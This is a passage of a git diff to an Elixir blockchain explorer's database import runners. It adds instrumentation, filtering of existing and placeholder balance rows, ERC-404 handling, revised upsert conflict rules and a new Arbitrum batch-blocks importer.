Explorer.Chain.Import.Runner.Address.CoinBalancesDaily do alias Ecto.{Changeset, Multi, Repo} alias Explorer.Chain.Address.CoinBalanceDaily alias Explorer.Chain.{Hash, Import, Wei} + alias Explorer.Prometheus.Instrumenter @behaviour Import.Runner @@ -44,7 +45,12 @@ defmodule Explorer.Chain.Import.Runner.Address.CoinBalancesDaily do |> Map.put(:timestamps, timestamps) Multi.run(multi, :address_coin_balances_daily, fn repo, _ -> - insert(repo, changes_list, insert_options) + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :address_referencing, + :coin_balances_daily, + :address_coin_balances_daily + ) end) end @@ -71,32 +77,10 @@ defmodule Explorer.Chain.Import.Runner.Address.CoinBalancesDaily do defp insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) - combined_changes_list = - changes_list - |> Enum.reduce([], fn change, acc -> - if Enum.empty?(acc) do - [change | acc] - else - target_item = - Enum.find(acc, fn item -> - item.day == change.day && item.address_hash == change.address_hash - end) - - if target_item do - if Map.has_key?(change, :value) && Map.has_key?(target_item, :value) && change.value > target_item.value do - acc_updated = List.delete(acc, target_item) - [change | acc_updated] - else - acc - end - else - [change | acc] - end - end - end) + combined_changes = changes_list |> Enum.reduce(%{}, &compose_change/2) # Enforce CoinBalanceDaily ShareLocks order (see docs: sharelocks.md) - ordered_changes_list = Enum.sort_by(combined_changes_list, &{&1.address_hash, &1.day}) + ordered_changes_list = combined_changes |> Map.values() |> Enum.sort_by(&{&1.address_hash, &1.day}) {:ok, _} = Import.insert_changes_list( @@ -112,6 +96,17 @@ defmodule Explorer.Chain.Import.Runner.Address.CoinBalancesDaily do {:ok, Enum.map(ordered_changes_list, &Map.take(&1, ~w(address_hash day)a))} end + defp compose_change(change, acc) do + Map.update(acc, {change.address_hash, change.day}, change, fn existing_change -> + if Map.has_key?(change, :value) && Map.has_key?(existing_change, :value) && + change.value > existing_change.value do + change + else + existing_change + end + end) + end + def default_on_conflict do from( balance in CoinBalanceDaily, @@ -120,13 +115,14 @@ defmodule Explorer.Chain.Import.Runner.Address.CoinBalancesDaily do value: fragment( """ - CASE WHEN EXCLUDED.value IS NOT NULL AND EXCLUDED.value > ? THEN + CASE WHEN EXCLUDED.value IS NOT NULL AND (? IS NULL OR EXCLUDED.value > ?) THEN EXCLUDED.value ELSE ? END """, balance.value, + balance.value, balance.value ), inserted_at: fragment("LEAST(EXCLUDED.inserted_at, ?)", balance.inserted_at), diff --git a/apps/explorer/lib/explorer/chain/import/runner/address/current_token_balances.ex b/apps/explorer/lib/explorer/chain/import/runner/address/current_token_balances.ex index c33d7cf24d37..a6614a599104 100644 --- a/apps/explorer/lib/explorer/chain/import/runner/address/current_token_balances.ex +++ b/apps/explorer/lib/explorer/chain/import/runner/address/current_token_balances.ex @@ -10,7 +10,9 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalances do alias Ecto.{Changeset, Multi, Repo} alias Explorer.Chain.Address.CurrentTokenBalance alias Explorer.Chain.{Hash, Import} - alias Explorer.Chain.Import.Runner.Tokens + alias Explorer.Chain.Import.Runner.{Address.TokenBalances, Tokens} + alias Explorer.Prometheus.Instrumenter + alias Explorer.QueryHelper @behaviour Import.Runner @@ -106,43 +108,54 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalances do |> Map.put_new(:timeout, @timeout) |> Map.put(:timestamps, timestamps) - # Enforce ShareLocks tables order (see docs: sharelocks.md) multi - |> Multi.run(:acquire_contract_address_tokens, fn repo, _ -> - token_contract_address_hashes_and_ids = - changes_list - |> Enum.map(fn change -> - token_id = get_tokend_id(change) - - {change.token_contract_address_hash, token_id} - end) - |> Enum.uniq() - - Tokens.acquire_contract_address_tokens(repo, token_contract_address_hashes_and_ids) + |> Multi.run(:filter_ctb_placeholders, fn _, _ -> + Instrumenter.block_import_stage_runner( + fn -> TokenBalances.filter_placeholders(changes_list) end, + :block_following, + :current_token_balances, + :filter_ctb_placeholders + ) end) - |> Multi.run(:address_current_token_balances, fn repo, _ -> - insert(repo, changes_list, insert_options) + |> Multi.run(:filter_params, fn repo, %{filter_ctb_placeholders: filtered_changes_list} -> + Instrumenter.block_import_stage_runner( + fn -> filter_params(repo, filtered_changes_list) end, + :block_following, + :current_token_balances, + :filter_params + ) + end) + |> Multi.run(:address_current_token_balances, fn repo, %{filter_params: filtered_changes_list} -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, filtered_changes_list, insert_options) end, + :block_following, + :current_token_balances, + :address_current_token_balances + ) end) |> Multi.run(:address_current_token_balances_update_token_holder_counts, fn repo, %{ address_current_token_balances: upserted_balances } -> - token_holder_count_deltas = upserted_balances_to_holder_count_deltas(upserted_balances) - - # ShareLocks order already enforced by `acquire_contract_address_tokens` (see docs: sharelocks.md) - Tokens.update_holder_counts_with_deltas( - repo, - token_holder_count_deltas, - insert_options + Instrumenter.block_import_stage_runner( + fn -> + token_holder_count_deltas = upserted_balances_to_holder_count_deltas(upserted_balances) + + # ShareLocks order already enforced by `acquire_contract_address_tokens` (see docs: sharelocks.md) + Tokens.update_holder_counts_with_deltas( + repo, + token_holder_count_deltas, + insert_options + ) + end, + :block_following, + :current_token_balances, + :address_current_token_balances_update_token_holder_counts ) end) end - defp get_tokend_id(change) do - if Map.has_key?(change, :token_id), do: change.token_id, else: nil - end - @impl Import.Runner def timeout, do: @timeout @@ -201,6 +214,103 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalances do end end + defp filter_params(repo, changes_list) do + {params_without_token_id, params_with_token_id} = Enum.split_with(changes_list, &is_nil(&1[:token_id])) + + existing_ctb_without_token_id = select_existing_current_token_balances(repo, params_without_token_id, false) + existing_ctb_with_token_id = select_existing_current_token_balances(repo, params_with_token_id, true) + + existing_ctb_map = + existing_ctb_without_token_id + |> Enum.concat(existing_ctb_with_token_id) + |> Map.new(fn ctb -> + {{ctb.address_hash, ctb.token_contract_address_hash, ctb.token_id}, + %{block_number: ctb.block_number, value: ctb.value, value_fetched_at: ctb.value_fetched_at}} + end) + + filtered_ctbs = + Enum.filter(changes_list, fn ctb -> + existing_ctb = existing_ctb_map[{ctb[:address_hash], ctb[:token_contract_address_hash], ctb[:token_id]}] + should_update?(Map.put_new(ctb, :value_fetched_at, nil), existing_ctb) + end) + + {:ok, filtered_ctbs} + end + + defp select_existing_current_token_balances(_repo, [], _with_token_id?), do: [] + + defp select_existing_current_token_balances(repo, params, false) do + ids = + params + |> Enum.map(&{&1.address_hash.bytes, &1.token_contract_address_hash.bytes}) + |> Enum.uniq() + + existing_ctb_query = + from( + ctb in CurrentTokenBalance, + where: is_nil(ctb.token_id), + where: ^QueryHelper.tuple_in([:address_hash, :token_contract_address_hash], ids) + ) + + repo.all(existing_ctb_query) + end + + defp select_existing_current_token_balances(repo, params, true) do + ids = Enum.map(params, &[&1.address_hash.bytes, &1.token_contract_address_hash.bytes, &1.token_id]) + + placeholders = + ids + |> Enum.with_index(1) + |> Enum.map_join(",", fn {_, i} -> + # The value 3 corresponds to the number of parameters in each group within the WHERE clause. + # If this number changes, make sure to update it accordingly. For example, placeholders for + # an array of ids [[1, 2, 3], [4, 5, 6]] would be formatted as: ($1, $2, $3),($4, $5, $6)". + "($#{3 * i - 2}, $#{3 * i - 1}, $#{3 * i})" + end) + + # Using raw SQL here is needed to be able to add the `COALESCE` statement + # which is needed to force `fetched_current_token_balances` full index usage + existing_ctb_query = + """ + SELECT address_hash, token_contract_address_hash, token_id, block_number, value, value_fetched_at + FROM address_current_token_balances + WHERE (address_hash, token_contract_address_hash, COALESCE(token_id, -1)) IN (#{placeholders}) + """ + + query_params = List.flatten(ids) + + existing_ctb_query + |> repo.query!(query_params) + |> Map.get(:rows, []) + |> Enum.map(fn [address_hash, token_contract_address_hash, token_id, block_number, value, value_fetched_at] -> + %{ + address_hash: address_hash, + token_contract_address_hash: token_contract_address_hash, + token_id: token_id, + block_number: block_number, + value: value, + value_fetched_at: value_fetched_at + } + end) + end + + # ctb does not exist + defp should_update?(_new_ctb, nil), do: true + + # new ctb has no value + defp should_update?(%{value_fetched_at: nil}, _existing_ctb), do: false + + # new ctb is newer + defp should_update?(%{block_number: new_ctb_block_number}, %{block_number: existing_ctb_block_number}) + when new_ctb_block_number > existing_ctb_block_number, + do: true + + # new ctb is the same height or older + defp should_update?(new_ctb, existing_ctb) do + existing_ctb.block_number == new_ctb.block_number and not is_nil(Map.get(new_ctb, :value)) and + (is_nil(existing_ctb.value_fetched_at) or Timex.before?(existing_ctb.value_fetched_at, new_ctb.value_fetched_at)) + end + @spec insert(Repo.t(), [map()], %{ optional(:on_conflict) => Import.Runner.on_conflict(), required(:timeout) => timeout(), @@ -220,51 +330,16 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalances do on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) # Enforce CurrentTokenBalance ShareLocks order (see docs: sharelocks.md) - %{ - changes_list_no_token_id: changes_list_no_token_id, - changes_list_with_token_id: changes_list_with_token_id - } = + ordered_changes_list = changes_list - |> Enum.reduce(%{changes_list_no_token_id: [], changes_list_with_token_id: []}, fn change, acc -> - updated_change = - if Map.has_key?(change, :token_id) and Map.get(change, :token_type) == "ERC-1155" do - change - else - Map.put(change, :token_id, nil) - end - - if updated_change.token_id do - changes_list_with_token_id = [updated_change | acc.changes_list_with_token_id] - - %{ - changes_list_no_token_id: acc.changes_list_no_token_id, - changes_list_with_token_id: changes_list_with_token_id - } + |> Enum.map(fn change -> + if Map.has_key?(change, :token_id) and + (Map.get(change, :token_type) == "ERC-1155" || Map.get(change, :token_type) == "ERC-404") do + change else - changes_list_no_token_id = [updated_change | acc.changes_list_no_token_id] - - %{ - changes_list_no_token_id: changes_list_no_token_id, - changes_list_with_token_id: acc.changes_list_with_token_id - } + Map.put(change, :token_id, nil) end end) - - ordered_changes_list_no_token_id = - changes_list_no_token_id - |> Enum.group_by(fn %{ - address_hash: address_hash, - token_contract_address_hash: token_contract_address_hash - } -> - {address_hash, token_contract_address_hash} - end) - |> Enum.map(fn {_, grouped_address_token_balances} -> - Enum.max_by(grouped_address_token_balances, fn %{block_number: block_number} -> block_number end) - end) - |> Enum.sort_by(&{&1.token_contract_address_hash, &1.address_hash}) - - ordered_changes_list_with_token_id = - changes_list_with_token_id |> Enum.group_by(fn %{ address_hash: address_hash, token_contract_address_hash: token_contract_address_hash, @@ -273,44 +348,29 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalances do {address_hash, token_contract_address_hash, token_id} end) |> Enum.map(fn {_, grouped_address_token_balances} -> - Enum.max_by(grouped_address_token_balances, fn %{block_number: block_number} -> block_number end) + Enum.max_by(grouped_address_token_balances, fn balance -> + {Map.get(balance, :block_number), Map.get(balance, :value_fetched_at)} + end) end) |> Enum.sort_by(&{&1.token_contract_address_hash, &1.token_id, &1.address_hash}) - {:ok, inserted_changes_list_no_token_id} = - if Enum.count(ordered_changes_list_no_token_id) > 0 do - Import.insert_changes_list( - repo, - ordered_changes_list_no_token_id, - conflict_target: {:unsafe_fragment, ~s<(address_hash, token_contract_address_hash) WHERE token_id IS NULL>}, - on_conflict: on_conflict, - for: CurrentTokenBalance, - returning: true, - timeout: timeout, - timestamps: timestamps - ) - else + {:ok, inserted_changes_list} = + if Enum.empty?(ordered_changes_list) do {:ok, []} - end - - {:ok, inserted_changes_list_with_token_id} = - if Enum.count(ordered_changes_list_with_token_id) > 0 do + else Import.insert_changes_list( repo, - ordered_changes_list_with_token_id, - conflict_target: - {:unsafe_fragment, ~s<(address_hash, token_contract_address_hash, token_id) WHERE token_id IS NOT NULL>}, + ordered_changes_list, + conflict_target: {:unsafe_fragment, ~s<(address_hash, token_contract_address_hash, COALESCE(token_id, -1))>}, on_conflict: on_conflict, for: CurrentTokenBalance, returning: true, timeout: timeout, timestamps: timestamps ) - else - {:ok, []} end - inserted_changes_list_no_token_id ++ inserted_changes_list_with_token_id + inserted_changes_list end defp default_on_conflict do @@ -328,10 +388,12 @@ defmodule Explorer.Chain.Import.Runner.Address.CurrentTokenBalances do ] ], where: - fragment("? < EXCLUDED.block_number", current_token_balance.block_number) or - (fragment("EXCLUDED.value IS NOT NULL") and - is_nil(current_token_balance.value_fetched_at) and - fragment("? = EXCLUDED.block_number", current_token_balance.block_number)) + fragment("EXCLUDED.value_fetched_at IS NOT NULL") and + (fragment("? < EXCLUDED.block_number", current_token_balance.block_number) or + (fragment("? = EXCLUDED.block_number", current_token_balance.block_number) and + fragment("EXCLUDED.value IS NOT NULL") and + (is_nil(current_token_balance.value_fetched_at) or + fragment("? < EXCLUDED.value_fetched_at", current_token_balance.value_fetched_at)))) ) end diff --git a/apps/explorer/lib/explorer/chain/import/runner/address/token_balances.ex b/apps/explorer/lib/explorer/chain/import/runner/address/token_balances.ex index d80f561bbe7a..932b6cc748f1 100644 --- a/apps/explorer/lib/explorer/chain/import/runner/address/token_balances.ex +++ b/apps/explorer/lib/explorer/chain/import/runner/address/token_balances.ex @@ -10,6 +10,8 @@ defmodule Explorer.Chain.Import.Runner.Address.TokenBalances do alias Ecto.{Changeset, Multi, Repo} alias Explorer.Chain.Address.TokenBalance alias Explorer.Chain.Import + alias Explorer.Prometheus.Instrumenter + alias Explorer.Utility.MissingBalanceOfToken @behaviour Import.Runner @@ -41,14 +43,41 @@ defmodule Explorer.Chain.Import.Runner.Address.TokenBalances do |> Map.put_new(:timeout, @timeout) |> Map.put(:timestamps, timestamps) - Multi.run(multi, :address_token_balances, fn repo, _ -> - insert(repo, changes_list, insert_options) + multi + |> Multi.run(:filter_placeholders, fn _, _ -> + Instrumenter.block_import_stage_runner( + fn -> filter_placeholders(changes_list) end, + :block_referencing, + :token_balances, + :filter_placeholders + ) + end) + |> Multi.run(:address_token_balances, fn repo, %{filter_placeholders: filtered_changes_list} -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, filtered_changes_list, insert_options) end, + :block_referencing, + :token_balances, + :address_token_balances + ) end) end @impl Import.Runner def timeout, do: @timeout + @doc """ + Filters out changes with empty `value` or `value_fetched_at` for tokens that doesn't implement `balanceOf` function. + """ + @spec filter_placeholders([map()]) :: {:ok, [map()]} + def filter_placeholders(changes_list) do + {placeholders, filled_balances} = + Enum.split_with(changes_list, fn balance_params -> + is_nil(Map.get(balance_params, :value_fetched_at)) or is_nil(Map.get(balance_params, :value)) + end) + + {:ok, filled_balances ++ MissingBalanceOfToken.filter_token_balances_params(placeholders, false)} + end + @spec insert(Repo.t(), [map()], %{ optional(:on_conflict) => Import.Runner.on_conflict(), required(:timeout) => timeout(), @@ -60,58 +89,16 @@ defmodule Explorer.Chain.Import.Runner.Address.TokenBalances do on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) # Enforce TokenBalance ShareLocks order (see docs: sharelocks.md) - %{ - changes_list_no_token_id: changes_list_no_token_id, - changes_list_with_token_id: changes_list_with_token_id - } = + ordered_changes_list = changes_list - |> Enum.reduce(%{changes_list_no_token_id: [], changes_list_with_token_id: []}, fn change, acc -> - updated_change = - if Map.has_key?(change, :token_id) and Map.get(change, :token_type) == "ERC-1155" do - change - else - Map.put(change, :token_id, nil) - end - - if updated_change.token_id do - changes_list_with_token_id = [updated_change | acc.changes_list_with_token_id] - - %{ - changes_list_no_token_id: acc.changes_list_no_token_id, - changes_list_with_token_id: changes_list_with_token_id - } - else - changes_list_no_token_id = [updated_change | acc.changes_list_no_token_id] - - %{ - changes_list_no_token_id: changes_list_no_token_id, - changes_list_with_token_id: acc.changes_list_with_token_id - } + |> Enum.map(fn change -> + cond do + Map.has_key?(change, :token_id) and Map.get(change, :token_type) == "ERC-1155" -> change + Map.get(change, :token_type) == "ERC-404" and Map.has_key?(change, :token_id) -> Map.put(change, :value, nil) + Map.get(change, :token_type) == "ERC-404" and Map.has_key?(change, :value) -> Map.put(change, :token_id, nil) + true -> Map.put(change, :token_id, nil) end end) - - ordered_changes_list_no_token_id = - changes_list_no_token_id - |> Enum.group_by(fn %{ - address_hash: address_hash, - token_contract_address_hash: token_contract_address_hash, - block_number: block_number - } -> - {token_contract_address_hash, address_hash, block_number} - end) - |> Enum.map(fn {_, grouped_address_token_balances} -> - dedup = Enum.dedup(grouped_address_token_balances) - - if Enum.count(dedup) > 1 do - Enum.max_by(dedup, fn %{value_fetched_at: value_fetched_at} -> value_fetched_at end) - else - Enum.at(dedup, 0) - end - end) - |> Enum.sort_by(&{&1.token_contract_address_hash, &1.address_hash, &1.block_number}) - - ordered_changes_list_with_token_id = - changes_list_with_token_id |> Enum.group_by(fn %{ address_hash: address_hash, token_contract_address_hash: token_contract_address_hash, @@ -121,70 +108,55 @@ defmodule Explorer.Chain.Import.Runner.Address.TokenBalances do {token_contract_address_hash, token_id, address_hash, block_number} end) |> Enum.map(fn {_, grouped_address_token_balances} -> - if Enum.count(grouped_address_token_balances) > 1 do - Enum.max_by(grouped_address_token_balances, fn %{value_fetched_at: value_fetched_at} -> value_fetched_at end) - else - Enum.at(grouped_address_token_balances, 0) - end + process_grouped_address_token_balances(grouped_address_token_balances) end) |> Enum.sort_by(&{&1.token_contract_address_hash, &1.token_id, &1.address_hash, &1.block_number}) - {:ok, inserted_changes_list_no_token_id} = - if Enum.count(ordered_changes_list_no_token_id) > 0 do - Import.insert_changes_list( - repo, - ordered_changes_list_no_token_id, - conflict_target: - {:unsafe_fragment, ~s<(address_hash, token_contract_address_hash, block_number) WHERE token_id IS NULL>}, - on_conflict: on_conflict, - for: TokenBalance, - returning: true, - timeout: timeout, - timestamps: timestamps - ) - else + {:ok, inserted_changes_list} = + if Enum.empty?(ordered_changes_list) do {:ok, []} - end - - {:ok, inserted_changes_list_with_token_id} = - if Enum.count(ordered_changes_list_with_token_id) > 0 do + else Import.insert_changes_list( repo, - ordered_changes_list_with_token_id, + ordered_changes_list, conflict_target: - {:unsafe_fragment, - ~s<(address_hash, token_contract_address_hash, token_id, block_number) WHERE token_id IS NOT NULL>}, + {:unsafe_fragment, ~s<(address_hash, token_contract_address_hash, COALESCE(token_id, -1), block_number)>}, on_conflict: on_conflict, for: TokenBalance, returning: true, timeout: timeout, timestamps: timestamps ) - else - {:ok, []} end - inserted_changes_list = inserted_changes_list_no_token_id ++ inserted_changes_list_with_token_id - {:ok, inserted_changes_list} end + defp process_grouped_address_token_balances(grouped_address_token_balances) do + if Enum.count(grouped_address_token_balances) > 1 do + Enum.max_by(grouped_address_token_balances, fn balance -> Map.get(balance, :value_fetched_at) end) + else + Enum.at(grouped_address_token_balances, 0) + end + end + defp default_on_conflict do from( token_balance in TokenBalance, update: [ set: [ - value: fragment("EXCLUDED.value"), + value: fragment("COALESCE(EXCLUDED.value, ?)", token_balance.value), value_fetched_at: fragment("EXCLUDED.value_fetched_at"), token_type: fragment("EXCLUDED.token_type"), + refetch_after: fragment("EXCLUDED.refetch_after"), + retries_count: fragment("EXCLUDED.retries_count"), inserted_at: fragment("LEAST(EXCLUDED.inserted_at, ?)", token_balance.inserted_at), updated_at: fragment("GREATEST(EXCLUDED.updated_at, ?)", token_balance.updated_at) ] ], where: - fragment("EXCLUDED.value IS NOT NULL") and - (is_nil(token_balance.value_fetched_at) or - fragment("? < EXCLUDED.value_fetched_at", token_balance.value_fetched_at)) + is_nil(token_balance.value_fetched_at) or fragment("EXCLUDED.value_fetched_at IS NULL") or + fragment("? < EXCLUDED.value_fetched_at", token_balance.value_fetched_at) ) end end diff --git a/apps/explorer/lib/explorer/chain/import/runner/addresses.ex b/apps/explorer/lib/explorer/chain/import/runner/addresses.ex index c62ae6d1236f..7f416a810066 100644 --- a/apps/explorer/lib/explorer/chain/import/runner/addresses.ex +++ b/apps/explorer/lib/explorer/chain/import/runner/addresses.ex @@ -3,13 +3,16 @@ defmodule Explorer.Chain.Import.Runner.Addresses do Bulk imports `t:Explorer.Chain.Address.t/0`. """ - require Ecto.Query + import Ecto.Query, only: [from: 2] + import Explorer.Chain.Import.Runner.Helper, only: [chain_type_dependent_import: 3] alias Ecto.{Multi, Repo} - alias Explorer.Chain.{Address, Hash, Import, Transaction} + alias Explorer.Chain.Filecoin.PendingAddressOperation, as: FilecoinPendingAddressOperation alias Explorer.Chain.Import.Runner + alias Explorer.Chain.{Address, Import, Transaction} + alias Explorer.Prometheus.Instrumenter - import Ecto.Query, only: [from: 2] + require Ecto.Query @behaviour Import.Runner @@ -57,44 +60,127 @@ defmodule Explorer.Chain.Import.Runner.Addresses do end) end) + ordered_changes_list = + changes_list_with_defaults + |> Enum.group_by(& &1.hash) + |> Enum.map(fn {_, grouped_addresses} -> + Enum.max_by(grouped_addresses, fn address -> + address_max_by(address) + end) + end) + |> Enum.sort_by(& &1.hash) + multi - |> Multi.run(:addresses, fn repo, _ -> - insert(repo, changes_list_with_defaults, insert_options) + |> Multi.run(:filter_addresses, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> filter_addresses(repo, ordered_changes_list, options[option_key()][:fields_to_update]) end, + :addresses, + :addresses, + :filter_addresses + ) + end) + |> Multi.run(:addresses, fn repo, %{filter_addresses: {addresses, _existing_addresses}} -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, addresses, insert_options) end, + :addresses, + :addresses, + :addresses + ) end) - |> Multi.run(:created_address_code_indexed_at_transactions, fn repo, %{addresses: addresses} + |> Multi.run(:created_address_code_indexed_at_transactions, fn repo, + %{ + addresses: addresses, + filter_addresses: {_, existing_addresses_map} + } when is_list(addresses) -> - update_transactions(repo, addresses, update_transactions_options) + Instrumenter.block_import_stage_runner( + fn -> update_transactions(repo, addresses, existing_addresses_map, update_transactions_options) end, + :addresses, + :addresses, + :created_address_code_indexed_at_transactions + ) end) + |> chain_type_dependent_import( + :filecoin, + &Multi.run( + &1, + :filecoin_pending_address_operations, + fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> filecoin_pending_address_operations(repo, ordered_changes_list, insert_options) end, + :addresses, + :addresses, + :filecoin_pending_address_operations + ) + end + ) + ) end @impl Import.Runner def timeout, do: @timeout + @impl Import.Runner + def runner_specific_options, do: [:fields_to_update] + ## Private Functions - @spec insert(Repo.t(), [%{hash: Hash.Address.t()}], %{ + @spec filter_addresses(Repo.t(), [map()], [atom()] | nil) :: {:ok, {[map()], map()}} + defp filter_addresses(repo, changes_list, fields_to_update) do + hashes = Enum.map(changes_list, & &1.hash) + + existing_addresses_query = + from(a in Address, + where: a.hash in ^hashes, + select: [:hash, :contract_code, :fetched_coin_balance_block_number, :nonce] + ) + + existing_addresses_map = + existing_addresses_query + |> repo.all() + |> Map.new(&{&1.hash, &1}) + + filtered_addresses = + changes_list + |> Enum.reduce([], fn address, acc -> + existing_address = existing_addresses_map[address.hash] + + if should_update?(address, existing_address, fields_to_update) do + [address | acc] + else + acc + end + end) + |> Enum.reverse() + + {:ok, {filtered_addresses, existing_addresses_map}} + end + + defp should_update?(_new_address, nil, _fields_to_replace), do: true + + defp should_update?(new_address, existing_address, nil) do + (not is_nil(new_address[:contract_code]) and new_address[:contract_code] != existing_address.contract_code) or + (not is_nil(new_address[:fetched_coin_balance_block_number]) and + (is_nil(existing_address.fetched_coin_balance_block_number) or + new_address[:fetched_coin_balance_block_number] >= existing_address.fetched_coin_balance_block_number)) or + (not is_nil(new_address[:nonce]) and + (is_nil(existing_address.nonce) or new_address[:nonce] > existing_address.nonce)) + end + + defp should_update?(new_address, existing_address, fields_to_replace) do + fields_to_replace + |> Enum.any?(fn field -> Map.get(existing_address, field) != Map.get(new_address, field) end) + end + + @spec insert(Repo.t(), [map()], %{ optional(:on_conflict) => Import.Runner.on_conflict(), required(:timeout) => timeout, required(:timestamps) => Import.timestamps() }) :: {:ok, [Address.t()]} - defp insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + def insert(repo, ordered_changes_list, %{timeout: timeout, timestamps: timestamps} = options) + when is_list(ordered_changes_list) do on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) - # Enforce Address ShareLocks order (see docs: sharelocks.md) - ordered_changes_list = - changes_list - |> Enum.group_by(fn %{ - hash: hash - } -> - {hash} - end) - |> Enum.map(fn {_, grouped_addresses} -> - Enum.max_by(grouped_addresses, fn address -> - address_max_by(address) - end) - end) - |> Enum.sort_by(& &1.hash) - Import.insert_changes_list( repo, ordered_changes_list, @@ -155,7 +241,7 @@ defmodule Explorer.Chain.Import.Runner.Addresses do # where any of `set`s would make a change # This is so that tuples are only generated when a change would occur where: - fragment("COALESCE(?, EXCLUDED.contract_code) IS DISTINCT FROM ?", address.contract_code, address.contract_code) or + fragment("COALESCE(EXCLUDED.contract_code, ?) IS DISTINCT FROM ?", address.contract_code, address.contract_code) or fragment( "EXCLUDED.fetched_coin_balance_block_number IS NOT NULL AND (? IS NULL OR EXCLUDED.fetched_coin_balance_block_number >= ?)", address.fetched_coin_balance_block_number, @@ -164,10 +250,14 @@ defmodule Explorer.Chain.Import.Runner.Addresses do ) end - defp update_transactions(repo, addresses, %{timeout: timeout, timestamps: timestamps}) do + defp update_transactions(repo, addresses, existing_addresses_map, %{timeout: timeout, timestamps: timestamps}) do ordered_created_contract_hashes = addresses - |> Enum.filter(& &1.contract_code) + |> Enum.filter(fn address -> + existing_address = existing_addresses_map[address.hash] + + not is_nil(address.contract_code) and (is_nil(existing_address) or is_nil(existing_address.contract_code)) + end) |> MapSet.new(& &1.hash) |> Enum.sort() @@ -179,7 +269,7 @@ defmodule Explorer.Chain.Import.Runner.Addresses do where: t.created_contract_address_hash in ^ordered_created_contract_hashes, # Enforce Transaction ShareLocks order (see docs: sharelocks.md) order_by: t.hash, - lock: "FOR UPDATE" + lock: "FOR NO KEY UPDATE" ) try do @@ -197,4 +287,28 @@ defmodule Explorer.Chain.Import.Runner.Addresses do end end end + + defp filecoin_pending_address_operations(repo, addresses, %{timeout: timeout, timestamps: timestamps}) do + ordered_addresses = + addresses + |> Enum.map( + &%{ + address_hash: &1.hash, + refetch_after: nil + } + ) + |> Enum.sort_by(& &1.address_hash) + |> Enum.dedup_by(& &1.address_hash) + + Import.insert_changes_list( + repo, + ordered_addresses, + conflict_target: :address_hash, + on_conflict: :nothing, + for: FilecoinPendingAddressOperation, + returning: true, + timeout: timeout, + timestamps: timestamps + ) + end end diff --git a/apps/explorer/lib/explorer/chain/import/runner/arbitrum/batch_blocks.ex b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/batch_blocks.ex new file mode 100644 index 000000000000..2b97c22e75f1 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/batch_blocks.ex @@ -0,0 +1,104 @@ +defmodule Explorer.Chain.Import.Runner.Arbitrum.BatchBlocks do + @moduledoc """ + Bulk imports of Explorer.Chain.Arbitrum.BatchBlock. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Arbitrum.BatchBlock + alias Explorer.Chain.Import + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [BatchBlock.t()] + + @impl Import.Runner + def ecto_schema_module, do: BatchBlock + + @impl Import.Runner + def option_key, do: :arbitrum_batch_blocks + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_arbitrum_batch_blocks, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :arbitrum_batch_blocks, + :arbitrum_batch_blocks + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [BatchBlock.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce Arbitrum.BatchBlock ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.block_number) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: BatchBlock, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :block_number, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + tb in BatchBlock, + update: [ + set: [ + # don't update `block_number` as it is a primary key and used for the conflict target + batch_number: fragment("EXCLUDED.batch_number"), + confirmation_id: fragment("EXCLUDED.confirmation_id"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", tb.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", tb.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.batch_number, EXCLUDED.confirmation_id) IS DISTINCT FROM (?, ?)", + tb.batch_number, + tb.confirmation_id + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/arbitrum/batch_to_da_blobs.ex b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/batch_to_da_blobs.ex new file mode 100644 index 000000000000..752b94d4da6c --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/arbitrum/batch_to_da_blobs.ex @@ -0,0 +1,102 @@ 